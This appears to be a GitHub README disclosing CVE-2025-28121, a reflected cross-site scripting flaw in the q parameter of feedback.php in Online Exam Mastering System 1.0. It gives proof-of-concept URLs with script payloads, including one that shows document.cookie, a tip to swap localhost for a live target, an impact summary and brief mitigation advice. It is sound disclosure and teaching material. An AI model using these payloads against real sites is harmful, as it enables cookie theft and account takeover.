pruthuraut/cve-2025-28121Reflected XSS exploit for Online Exam Mastering System 1.0 with PoC payloads, impact analysis, and mitigation guidance for security testing and education.
code-projects Online Exam Mastering System 1.0 is vulnerable to Reflected Cross-Site Scripting (XSS) in the feedback.php file via the q parameter.
This issue allows remote attackers to inject malicious JavaScript into the application, which gets reflected in the response without proper sanitization or encoding. Successful exploitation can lead to cookie theft, account takeover, or other client-side attacks.
| Field | Info |
|---|
| CVE ID | CVE-2025-28121 |
| Vulnerability Type | Cross-Site Scripting (XSS) |
| Affected Component | feedback.php |
| Attack Type | Remote |
| Impact | Account Takeover, Privilege Escalation |
| Product | Online Exam Mastering System |
| Version | 1.0 |
| Vendor | code-projects |
| Discoverer | Pruthu Raut |
http://localhost/exam/feedback.php?q=Thank%20you%20for%20your%20valuable%20feedback
http://localhost/exam/feedback.php?q=<script>alert('XSS')</script>
http://localhost/exam/feedback.php?q=%3Cscript%3Ealert(document.cookie)%3C/script%3E
💡 Note: Replace
localhostwith the deployed target IP or domain if testing on a live environment.
When the above URL is opened by a victim, the malicious script embedded in the q parameter gets executed in the context of the victim’s browser. Since the input is directly reflected without sanitization, it opens the door for classic reflected XSS attacks.
To prevent this vulnerability:
htmlspecialchars().This vulnerability was discovered and responsibly disclosed by Pruthu Raut.